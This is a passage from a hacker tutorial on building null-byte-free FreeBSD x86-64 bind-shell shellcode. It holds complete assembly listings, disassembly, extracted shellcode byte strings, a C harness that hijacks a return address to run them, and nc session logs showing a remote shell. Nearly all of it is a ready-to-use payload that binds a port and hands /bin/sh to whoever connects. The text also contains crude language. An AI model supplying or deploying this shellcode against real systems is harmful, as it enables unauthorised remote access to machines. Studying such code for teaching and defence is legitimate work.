    pushq $SOCK_STREAM; popq %rsi
    pushq $IPPROTO_TCP; popq %rdx
    int $KERN
    xorq %r8, %r8			# clear %r8
    movl %eax, %r8d			# store listen_sock int %r8d

/**** bind ****/

    # builds sockaddr_in
    movl $AF_INET, sin_family
    movl $INADDR_ANY, sin_addr
    movl $PORT, sin_port

    # bind(listen_socket, (struct sockaddr *)&s, sizeof(s));
    pushq $SYS_BIND; popq %rax
    pushq listen_sock; pop %rdi
    leaq sockaddr_in, %rsi
    pushq $SOCKADDR_IN_SIZE; popq %rdx
    int $KERN

becomes
   
    We build the whole sockaddr_in on the stack, only thing we need
    is the sin_family which is 1 byte off from the start, and the port
    which is two bytes off from the start since everything else is zeroed.

    # builds sockaddr_in on the stack
    xorq %r10, %r10
    pushq %r10
    pushq %r10 
    xorq %rcx, %rcx
    movb $1, %cl
    movb $AF_INET, (%rsp, %rcx, 1)		# 1 byte off from start
    movb $2, %cl
    movw $PORT, (%rsp, %rcx, 1)			# 2 bytes from start

    # bind(listen_socket, (struct sockaddr *)&s, sizeof(s));
    pushq $SYS_BIND; popq %rax
    pushq %r8; pop %rdi
    movq %rsp, %rsi
    pushq $SOCKADDR_IN_SIZE; popq %rdx
    int $KERN

/**** listen ****/

    # listen(listen_socket, 1)
    pushq $SYS_LISTEN; popq %rax
    pushq listen_sock; popq %rdi
    pushq $1; popq %rsi
    int $KERN

becomes

    # listen(listen_socket, 1)
    pushq $SYS_LISTEN; popq %rax
    pushq %r8; popq %rdi			# listen_sock is %r8 now
    pushq $1; popq %rsi
    int $KERN

/**** accept ****/

    movl $SOCKADDR_IN_SIZE, socklen
    
    pushq $SYS_ACCEPT; popq %rax
    pushq listen_sock; popq %rdi
    leaq sockaddr_in, %rsi
    leaq socklen, %rdx
    int $KERN
    movl %eax, accept_sock

becomes

    pushq $SYS_ACCEPT; popq %rax
    pushq %r8; popq %rdi			# %r8 is listen_sock
    movq %rsp, %rsi
    xorq %rcx, %rcx
    movb $16, %cl				# use cl - no \x0s
    pushq %rcx
    movq %rsp, %rdx
    int $KERN
    popq %rcx
    xorq %r9, %r9				# clear %r9
    movl %eax, %r9d				# store accept_sock in it

/**** dup2s ****/

    # dup2 these rich whores
    pushq $SYS_DUP2; popq %rax
    movl accept_sock, %edi
    pushq $STDIN; popq %rsi
    int $KERN

    pushq $SYS_DUP2; popq %rax
    movl accept_sock, %edi
    pushq $STDOUT; popq %rsi
    int $KERN

    pushq $SYS_DUP2; popq %rax
    movl accept_sock, %edi
    pushq $STDERR; popq %rsi
    int $KERN

becomes

    # dup2 these rich whores
    pushq $SYS_DUP2; popq %rax
    movl %r9d, %edi			# %r9d is accept_sock
    xorq %rsi, %rsi			# STDIN is 0 so xor rsi for it
    int $KERN

    pushq $SYS_DUP2; popq %rax
    movl %r9d, %edi			# %r9d is accept_sock
    pushq $STDOUT; popq %rsi
    int $KERN

    pushq $SYS_DUP2; popq %rax
    movl %r9d, %edi			# %r9d is accept_sock
    pushq $STDERR; popq %rsi
    int $KERN

/**** execve ****/

    pushq $SYS_EXECVE; popq %rax
    leaq shell, %rdi
    leaq shelladdr, %rsi
    xorq %rdx, %rdx 
    int $KERN

becomes

    The same way the hello world was done: push a null onto the stack
    push /bin/shAA in hex backwards onto the stack, then overwrite the AA
    byte with \x0 so you get /bin/sh\0 

    pushq $SYS_EXECVE; popq %rax
    xorq %rcx, %rcx				# push a null
    pushq %rcx		
    movq %rsp, %rsi				# set rsi to null
    movq $0xAA68732f6e69622f, %rcx		# mov /bin/shAA backwards
                                                # into rcx
    pushq %rcx					# push it
                                                # push it real good
    movq %rsp, %rdi				# put rsp (->/bin/shAA)
                                                # into rdi

    # have to over write that AA with a 0
    # put a \x0 byte at index 7 of our string /bin/sh
    xorq %rbx, %rbx
    xorq %rcx, %rcx
    movb $7, %cl
    movb %bl, (%rsp, %rcx, 1)

    xorq %rdx, %rdx 
    int $KERN

/**** exit ****/

    # _exit(0)    
    pushq $1; popq %rax
    xorq %rdi, %rdi
    int $KERN

becomes

   oh shit, already 31337 as the dickens.

Full final no null asm looks like:

[entropy@phiral ~/code/fbsd_x64]$ cat pb-nonull.s
.section .rodata
.equ KERN, 0x80
.equ SYS_SOCKET, 97
.equ SYS_BIND, 104
.equ SYS_LISTEN, 106
.equ SYS_ACCEPT, 30
.equ SYS_DUP2, 90
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 1
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2
.equ PORT, 2586

.section .text
.globl _start
_start:
    nop

    # socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)
    pushq $SYS_SOCKET; popq %rax
    pushq $PF_INET; popq %rdi		
    pushq $SOCK_STREAM; popq %rsi
    pushq $IPPROTO_TCP; popq %rdx
    int $KERN
    xorq %r8, %r8
    movl %eax, %r8d

    # bind(listen_socket, (struct sockaddr *)&s, sizeof(s));
    xorq %r10, %r10
    pushq %r10
    pushq %r10 
    xorq %rcx, %rcx
    movb $1, %cl
    movb $AF_INET, (%rsp, %rcx, 1)
    movb $2, %cl
    movw $PORT, (%rsp, %rcx, 1)

    pushq $SYS_BIND; popq %rax
    pushq %r8; pop %rdi
    movq %rsp, %rsi
    pushq $SOCKADDR_IN_SIZE; popq %rdx
    int $KERN

    # listen(listen_socket, 1)
    pushq $SYS_LISTEN; popq %rax
    pushq %r8; popq %rdi
    pushq $1; popq %rsi
    int $KERN

    # accept
    pushq $SYS_ACCEPT; popq %rax
    pushq %r8; popq %rdi
    movq %rsp, %rsi
    xorq %rcx, %rcx
    movb $16, %cl
    pushq %rcx
    movq %rsp, %rdx
    int $KERN
    popq %rcx
    xorq %r9, %r9
    movl %eax, %r9d

    # dup2 these rich whores
    pushq $SYS_DUP2; popq %rax
    movl %r9d, %edi
    xorq %rsi, %rsi
    int $KERN

    pushq $SYS_DUP2; popq %rax
    movl %r9d, %edi
    pushq $STDOUT; popq %rsi
    int $KERN

    pushq $SYS_DUP2; popq %rax
    movl %r9d, %edi
    pushq $STDERR; popq %rsi
    int $KERN
  
    pushq $SYS_EXECVE; popq %rax
    xorq %rcx, %rcx
    pushq %rcx
    movq %rsp, %rsi
    movq $0xAA68732f6e69622f, %rcx
    pushq %rcx
    movq %rsp, %rdi

    # have to over write that aa with a 0
    xorq %rbx, %rbx
    xorq %rcx, %rcx
    
    movb $7, %cl
    movb %bl, (%rsp, %rcx, 1)

    xorq %rdx, %rdx 
    int $KERN

    # _exit(0)    
    pushq $1; popq %rax
    xorq %rdi, %rdi
    int $KERN

[entropy@phiral ~/code/fbsd_x64]$ as -gstabs pb-nonull.s -o pb-nonull.o
[entropy@phiral ~/code/fbsd_x64]$ ld pb-nonull.o -o pb-nonull
[entropy@phiral ~/code/fbsd_x64]$ ./pb-nonull 

maihem@sparky ~$ nc 172.16.233.85 6666
id
uid=1001(entropy) gid=0(wheel) groups=0(wheel)
exit

[entropy@phiral ~/code/fbsd_x64]$ objdump -d pb-nonull

pb-nonull:     file format elf64-x86-64

Disassembly of section .text:

00000000004000b0 <_start>:
  4000b0:	90                   	nop    
  4000b1:	6a 61                	pushq  $0x61
  4000b3:	58                   	pop    %rax
  4000b4:	6a 02                	pushq  $0x2
  4000b6:	5f                   	pop    %rdi
  4000b7:	6a 01                	pushq  $0x1
  4000b9:	5e                   	pop    %rsi
  4000ba:	6a 06                	pushq  $0x6
  4000bc:	5a                   	pop    %rdx
  4000bd:	cd 80                	int    $0x80
  4000bf:	4d 31 c0             	xor    %r8,%r8
  4000c2:	41 89 c0             	mov    %eax,%r8d
  4000c5:	4d 31 d2             	xor    %r10,%r10
  4000c8:	41 52                	push   %r10
  4000ca:	41 52                	push   %r10
  4000cc:	48 31 c9             	xor    %rcx,%rcx
  4000cf:	b1 01                	mov    $0x1,%cl
  4000d1:	c6 04 0c 02          	movb   $0x2,(%rsp,%rcx,1)
  4000d5:	b1 02                	mov    $0x2,%cl
  4000d7:	66 c7 04 0c 1a 0a    	movw   $0xa1a,(%rsp,%rcx,1)
  4000dd:	6a 68                	pushq  $0x68
  4000df:	58                   	pop    %rax
  4000e0:	41 50                	push   %r8
  4000e2:	5f                   	pop    %rdi
  4000e3:	48 89 e6             	mov    %rsp,%rsi
  4000e6:	6a 10                	pushq  $0x10
  4000e8:	5a                   	pop    %rdx
  4000e9:	cd 80                	int    $0x80
  4000eb:	6a 6a                	pushq  $0x6a
  4000ed:	58                   	pop    %rax
  4000ee:	41 50                	push   %r8
  4000f0:	5f                   	pop    %rdi
  4000f1:	6a 01                	pushq  $0x1
  4000f3:	5e                   	pop    %rsi
  4000f4:	cd 80                	int    $0x80
  4000f6:	6a 1e                	pushq  $0x1e
  4000f8:	58                   	pop    %rax
  4000f9:	41 50                	push   %r8
  4000fb:	5f                   	pop    %rdi
  4000fc:	48 89 e6             	mov    %rsp,%rsi
  4000ff:	48 31 c9             	xor    %rcx,%rcx
  400102:	b1 10                	mov    $0x10,%cl
  400104:	51                   	push   %rcx
  400105:	48 89 e2             	mov    %rsp,%rdx
  400108:	cd 80                	int    $0x80
  40010a:	59                   	pop    %rcx
  40010b:	4d 31 c9             	xor    %r9,%r9
  40010e:	41 89 c1             	mov    %eax,%r9d
  400111:	6a 5a                	pushq  $0x5a
  400113:	58                   	pop    %rax
  400114:	44 89 cf             	mov    %r9d,%edi
  400117:	48 31 f6             	xor    %rsi,%rsi
  40011a:	cd 80                	int    $0x80
  40011c:	6a 5a                	pushq  $0x5a
  40011e:	58                   	pop    %rax
  40011f:	44 89 cf             	mov    %r9d,%edi
  400122:	6a 01                	pushq  $0x1
  400124:	5e                   	pop    %rsi
  400125:	cd 80                	int    $0x80
  400127:	6a 5a                	pushq  $0x5a
  400129:	58                   	pop    %rax
  40012a:	44 89 cf             	mov    %r9d,%edi
  40012d:	6a 02                	pushq  $0x2
  40012f:	5e                   	pop    %rsi
  400130:	cd 80                	int    $0x80
  400132:	6a 3b                	pushq  $0x3b
  400134:	58                   	pop    %rax
  400135:	48 31 c9             	xor    %rcx,%rcx
  400138:	51                   	push   %rcx
  400139:	48 89 e6             	mov    %rsp,%rsi
  40013c:	48 b9 2f 62 69 6e 2f 	mov    $0xaa68732f6e69622f,%rcx
  400143:	73 68 aa 
  400146:	51                   	push   %rcx
  400147:	48 89 e7             	mov    %rsp,%rdi
  40014a:	48 31 db             	xor    %rbx,%rbx
  40014d:	48 31 c9             	xor    %rcx,%rcx
  400150:	b1 07                	mov    $0x7,%cl
  400152:	88 1c 0c             	mov    %bl,(%rsp,%rcx,1)
  400155:	48 31 d2             	xor    %rdx,%rdx
  400158:	cd 80                	int    $0x80
  40015a:	6a 01                	pushq  $0x1
  40015c:	58                   	pop    %rax
  40015d:	48 31 ff             	xor    %rdi,%rdi
  400160:	cd 80                	int    $0x80

[entropy@phiral ~/code/fbsd_x64]$ ./get-sc.sh pb-nonull

\x90\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80
\x4d\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\x48\x31
\xc9\xb1\x01\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04\x0c\x1a\x0a
\x6a\x68\x58\x41\x50\x5f\x48\x89\xe6\x6a\x10\x5a\xcd\x80\x6a
\x6a\x58\x41\x50\x5f\x6a\x01\x5e\xcd\x80\x6a\x1e\x58\x41\x50
\x5f\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\xcd\x80
\x59\x4d\x31\xc9\x41\x89\xc1\x6a\x5a\x58\x44\x89\xcf\x48\x31
\xf6\xcd\x80\x6a\x5a\x58\x44\x89\xcf\x6a\x01\x5e\xcd\x80\x6a
\x5a\x58\x44\x89\xcf\x6a\x02\x5e\xcd\x80\x6a\x3b\x58\x48\x31
\xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\xaa
\x51\x48\x89\xe7\x48\x31\xdb\x48\x31\xc9\xb1\x07\x88\x1c\x0c
\x48\x31\xd2\xcd\x80\x6a\x01\x58\x48\x31\xff\xcd\x80

[entropy@phiral ~/code/fbsd_x64]$ cat sc.c
unsigned char sc[] =
"\x90\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80"
"\x4d\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\x48\x31"
"\xc9\xb1\x01\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04\x0c\x1a\x0a"
"\x6a\x68\x58\x41\x50\x5f\x48\x89\xe6\x6a\x10\x5a\xcd\x80\x6a"
"\x6a\x58\x41\x50\x5f\x6a\x01\x5e\xcd\x80\x6a\x1e\x58\x41\x50"
"\x5f\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\xcd\x80"
"\x59\x4d\x31\xc9\x41\x89\xc1\x6a\x5a\x58\x44\x89\xcf\x48\x31"
"\xf6\xcd\x80\x6a\x5a\x58\x44\x89\xcf\x6a\x01\x5e\xcd\x80\x6a"
"\x5a\x58\x44\x89\xcf\x6a\x02\x5e\xcd\x80\x6a\x3b\x58\x48\x31"
"\xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\xaa"
"\x51\x48\x89\xe7\x48\x31\xdb\x48\x31\xc9\xb1\x07\x88\x1c\x0c"
"\x48\x31\xd2\xcd\x80\x6a\x01\x58\x48\x31\xff\xcd\x80";

void main(void) {
   int *ret;
   ret = (int *)&ret + 4;
   (*ret) = (int)sc;

}

[entropy@phiral ~/code/fbsd_x64]$ gcc sc.c -o sc
sc.c: In function 'main':
sc.c:17: warning: cast from pointer to integer of different size
sc.c:14: warning: return type of 'main' is not 'int'
[entropy@phiral ~/code/fbsd_x64]$ ./sc


maihem@sparky ~$ nc 172.16.233.85 6666
id
uid=1001(entropy) gid=0(wheel) groups=0(wheel)
exit

Remove NOP, _exit(0) and 'extra' instructions...

[entropy@phiral ~/code/fbsd_x64]$ cat pb-nonull-s.s
.section .rodata
.equ KERN, 0x80
.equ SYS_SOCKET, 97
.equ SYS_BIND, 104
.equ SYS_LISTEN, 106
.equ SYS_ACCEPT, 30
.equ SYS_DUP2, 90
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 1
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2
.equ PORT, 2586

.section .text
.globl _start
_start:

    # socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)
    pushq $SYS_SOCKET; popq %rax
    pushq $PF_INET; popq %rdi		
    pushq $SOCK_STREAM; popq %rsi
    pushq $IPPROTO_TCP; popq %rdx
    int $KERN
    xorq %r8, %r8
    movl %eax, %r8d

    # bind(listen_socket, (struct sockaddr *)&s, sizeof(s));
    xorq %r10, %r10
    pushq %r10
    xorq %rcx, %rcx
    movb $1, %cl
    movb $AF_INET, (%rsp, %rcx, 1)
    movb $2, %cl
    movw $PORT, (%rsp, %rcx, 1)

    pushq $SYS_BIND; popq %rax
    pushq %r8; pop %rdi
    movq %rsp, %rsi
    pushq $SOCKADDR_IN_SIZE; popq %rdx
    int $KERN

    # listen(listen_socket, 1)
    pushq $SYS_LISTEN; popq %rax
    pushq %r8; popq %rdi
    pushq $1; popq %rsi
    int $KERN

    # accept
    pushq $SYS_ACCEPT; popq %rax
    pushq %r8; popq %rdi
    movq %rsp, %rsi
    xorq %rcx, %rcx
    movb $16, %cl
    pushq %rcx
    movq %rsp, %rdx
    int $KERN
    popq %rcx
    xorq %r9, %r9
    movl %eax, %r9d

    # dup2 these rich whores
    pushq $SYS_DUP2; popq %rax
    movl %r9d, %edi
    xorq %rsi, %rsi
    int $KERN

    pushq $SYS_DUP2; popq %rax
    pushq $STDOUT; popq %rsi
    int $KERN

    pushq $SYS_DUP2; popq %rax
    pushq $STDERR; popq %rsi
    int $KERN
  
    pushq $SYS_EXECVE; popq %rax
    xorq %rcx, %rcx
    pushq %rcx
    movq %rsp, %rsi
    movq $0xAA68732f6e69622f, %rcx
    pushq %rcx
    movq %rsp, %rdi

    # have to over write that AA with a 0
    xorq %rbx, %rbx
    xorq %rcx, %rcx
    
    movb $7, %cl
    movb %bl, (%rsp, %rcx, 1)

    xorq %rdx, %rdx 
    int $KERN

[entropy@phiral ~/code/fbsd_x64]$ as -gstabs pb-nonull-s.s -o pb-nonull-s.o
[entropy@phiral ~/code/fbsd_x64]$ ld pb-nonull-s.o -o pb-nonull-s
[entropy@phiral ~/code/fbsd_x64]$ ./get-sc.sh pb-nonull-s

\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80\x4d
\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x48\x31\xc9\xb1\x01
\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04\x0c\x1a\x0a\x6a\x68\x58
\x41\x50\x5f\x48\x89\xe6\x6a\x10\x5a\xcd\x80\x6a\x6a\x58\x41
\x50\x5f\x6a\x01\x5e\xcd\x80\x6a\x1e\x58\x41\x50\x5f\x48\x89
\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\xcd\x80\x59\x4d\x31
\xc9\x41\x89\xc1\x6a\x5a\x58\x44\x89\xcf\x48\x31\xf6\xcd\x80
\x6a\x5a\x58\x6a\x01\x5e\xcd\x80\x6a\x5a\x58\x6a\x02\x5e\xcd
\x80\x6a\x3b\x58\x48\x31\xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62
\x69\x6e\x2f\x73\x68\xaa\x51\x48\x89\xe7\x48\x31\xdb\x48\x31
\xc9\xb1\x07\x88\x1c\x0c\x48\x31\xd2\xcd\x80

[entropy@phiral ~/code/fbsd_x64]$ cat sc.c
unsigned char sc[] = 
"\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80\x4d"
"\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x48\x31\xc9\xb1\x01"
"\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04\x0c\x1a\x0a\x6a\x68\x58"
"\x41\x50\x5f\x48\x89\xe6\x6a\x10\x5a\xcd\x80\x6a\x6a\x58\x41"
"\x50\x5f\x6a\x01\x5e\xcd\x80\x6a\x1e\x58\x41\x50\x5f\x48\x89"
"\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\xcd\x80\x59\x4d\x31"
"\xc9\x41\x89\xc1\x6a\x5a\x58\x44\x89\xcf\x48\x31\xf6\xcd\x80"
"\x6a\x5a\x58\x6a\x01\x5e\xcd\x80\x6a\x5a\x58\x6a\x02\x5e\xcd"
"\x80\x6a\x3b\x58\x48\x31\xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62"
"\x69\x6e\x2f\x73\x68\xaa\x51\x48\x89\xe7\x48\x31\xdb\x48\x31"
"\xc9\xb1\x07\x88\x1c\x0c\x48\x31\xd2\xcd\x80";

void main(void) {
   int *ret;
   ret = (int *)&ret + 4;
   (*ret) = (int)sc;

}

[entropy@phiral ~/code/fbsd_x64]$ gcc sc.c -o sc
sc.c: In function 'main':
sc.c:17: warning: cast from pointer to integer of different size
sc.c:14: warning: return type of 'main' is not 'int'
[entropy@phiral ~/code/fbsd_x64]$ ./sc

maihem@sparky ~$ nc 172.16.233.85 6666
id
uid=1001(entropy) gid=0(wheel) groups=0(wheel)
exit


fini.


[1] Intro to x64 Reversing - Jon Larimer 
    - http://codetastrophe.com/
           SummerCon%202011%20-%20Intro%20to%20x64%20Reversing.pdf

[2] SummerCon
    - http://summercon.org/ <-- best fucking con ever

[3] SYS V ABI 
    - http://www.x86-64.org/documentation/abi.pdf

[4] x64 Windows Debugging: Practical Foundations
    - http://www.dumpanalysis.org/
             x64+Windows+Debugging%3A+Practical+Foundations

[5] Writing Assembly on OpenBSD
    - http://lucifer.phiral.net/openbsdasm.htm

HTML Version: http://lucifer.phiral.net/fbsd_x64.htm